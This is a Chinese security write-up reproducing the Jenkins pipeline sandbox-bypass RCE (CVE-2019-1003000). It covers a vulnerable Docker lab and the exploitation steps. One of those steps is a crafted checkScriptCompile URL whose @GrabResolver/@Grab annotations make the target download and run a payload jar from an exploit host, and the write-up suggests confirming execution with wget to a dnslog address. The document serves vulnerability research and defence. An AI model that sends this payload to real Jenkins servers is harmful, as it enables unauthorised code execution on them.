Jenkins 远程代码执行漏洞(CVE-2019-1003000)测试复现

2019-02-26 10:29:2334763人阅读

  背景介绍

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

近日Jenkins官网发布了编号为SECURITY-1266的安全通告,修复了3个CVE漏洞。这三个CVE漏洞都是由台湾安全研究员orange报告的,CVE编号分别为CVE-2019-1003000、CVE-2019-1003001、CVE-2019-1003002.

官方以及针对这三个CVE漏洞进行了修复,修复之后Orange也在其博客公布了具体的漏洞详情。

  漏洞描述

Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试报告, 发布报告等。Pipeline使开发者可以方便的去撰写一些构建脚本以完成自动化的编译、测试、发布,其中文名称是流水线(工作流),帮助开发者精心地组织一个可以长期运行在多个节点上的任务。

为了检查使用者撰写的Pipeline Script有没有语法上的错误,Jenkins提供了一个界面给使用者检查自己的Pipeline脚本。通过将抽象语法树(AST,Abstract Syntax Tree)转换注释(如@Grab)应用于源代码单元,可以在脚本编译阶段绕过脚本安全沙箱保护,导致具有Overall/Read权限或能控制SCM中jenkinsfile或沙盒Pipeline共享库内容的用户绕过沙盒保护,并在Jenkins服务器上执行任意代码。

利用转换注释@Grab、@GrabResolover可以写入恶意的Jar文件到jenkins服务器,由于Pipeline是基于Groovy语法的,因此Jenkins使用了GroovyClassLoader.parseClass()来检查Pipeline脚本语法的正确性,最终导致在编译阶段执行了写入到Jenkins服务器的恶意Jar文件。

  测试环境搭建

经过测试jenkins 2.137版本搭建之后,不需要任何权限即可利用该漏洞执行任意代码达到命令执行的目的。从2.138版本开始,需要普通用户权限才可以利用该漏洞。现将漏洞环境搭建过程记录一下。

测试环境编译及运行:

已经搭建好的漏洞测试环境,直接pull下来运行:

docker pull her0ma/CVE-2019-1003000
docker run -d -p 8080:8080 her0ma/cve-2019-1003000


也可以基于Dockerfile文件构建镜像并搭建漏洞环境,操作如下:

相关软件

Vulhub CVE-2017-1000353的漏洞环境 https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353

Pipeline: Declarative插件1.3.4版本 https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/pipeline-model-definition/1.3.4/pipeline-model-definition.hpi

Script Security插件1.48版本 https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/script-security/1.48/script-security.hpi

Pipeline: Groovy插件2.60版本 https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/workflow-cps/2.60/workflow-cps.hpi

1、修改CVE-2017-1000353漏洞环境中Dockerfile文件中Jenkins的版本和下载路径,最终Dockerfile内容如下:

FROM vulhub/openjdk:8-jdk
MAINTAINER phithon <root@leavesongs.com>
RUN apt-get update && apt-get install -y git curl wget && rm -rf /var/lib/apt/lists/*
ENV JENKINS_HOME /var/jenkins_home
ENV COPY_REFERENCE_FILE_LOG $JENKINS_HOME/copy_reference_file.log
RUN groupadd -g 1000 jenkins \
    && useradd -d "$JENKINS_HOME" -u 1000 -g 1000 -m -s /bin/bash jenkins
ENV TINI_VERSION v0.14.0
ADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /bin/tini
RUN chmod +x /bin/tini
ENV JENKINS_VERSION 2.137
RUN set -ex \
    && [ -e /usr/share/jenkins ] || mkdir -p /usr/share/jenkins \
    && [ -e /usr/share/jenkins/ref ] || mkdir -p /usr/share/jenkins/ref \
    && wget http://mirrors.jenkins.io/war/${JENKINS_VERSION}/jenkins.war -O /usr/share/jenkins/jenkins.war \
    && chown -R jenkins "$JENKINS_HOME" /usr/share/jenkins/ref
EXPOSE 8080
EXPOSE 50000
COPY jenkins.sh /usr/local/bin/jenkins.sh
RUN chmod +x /usr/local/bin/jenkins.sh
USER jenkins
ENTRYPOINT ["/bin/tini", "--"]
CMD ["/usr/local/bin/jenkins.sh"]


2、使用Docker build命令从Dockerfile构建镜像

docker build -t cve-2019-1003000 .


3、运行并进入容器,查看初始密码,初始密码位置

/var/jenkins_home/secrets/initialAdminPassword


4、安装推荐插件,设置管理密码,并登陆管理账号,进入插件管理-高级功能,上传安装上文中下载的三个漏洞插件。

5、安装插件完成之后,选择重启Jenkins。

  测试过程

1、生成执行命令的Jar文件

生成执行命令的jar包所需的文件都在payload目录下,如下:

l  Payload.java 执行命令的Java文件源代码,可以根据测试情况修改其中的命令。

l  META-INF 目录中保存了执行JAR包所依赖的方法类

执行build.sh文件,编译生成jar包。

2、将jar包放到另外一台可访问的web目录下

存在payload-1.jar文件的目录很重要,如:

http://Exploit-HOST/package/payload/1/payload-1.jar
http://Exploit-HOST/package/payload/2/payload-2.jar


3、访问漏洞利用URL,执行命令

具体漏洞测试url如下:

http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;


EXPLOIT HOST是保存了JAR文件的服务器IP或域名,group、module、version的值对应了该jar文件的存放路径。修改version的值,对应的jar包的访问路径和文件名也需要发生改变。

访问url的时候,成功利用的之后,请求回显如图:

1.png

查看EXPLOIT HOST的web日志,会看到如下记录:

2.png

说明成功请求下载了执行命令的jar文件,进入容器,可以在如下目录中看到对应的jar文件:

3.png

可利用wget dnslog地址的方式来判断是否成功执行了命令,成功的如图:

4.png

针对该漏洞,百度安全体系(含百度云上产品)已在第一时间更新了产品的能力,目前百度云扫描器、IDS、WAF都已经具备了该漏洞的检测、防御能力。


*参考链接

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353


本文来自百度安全SiemPent Team,转载需注明出处及本文链接

0
现金券
0
兑换券
立即领取
领取成功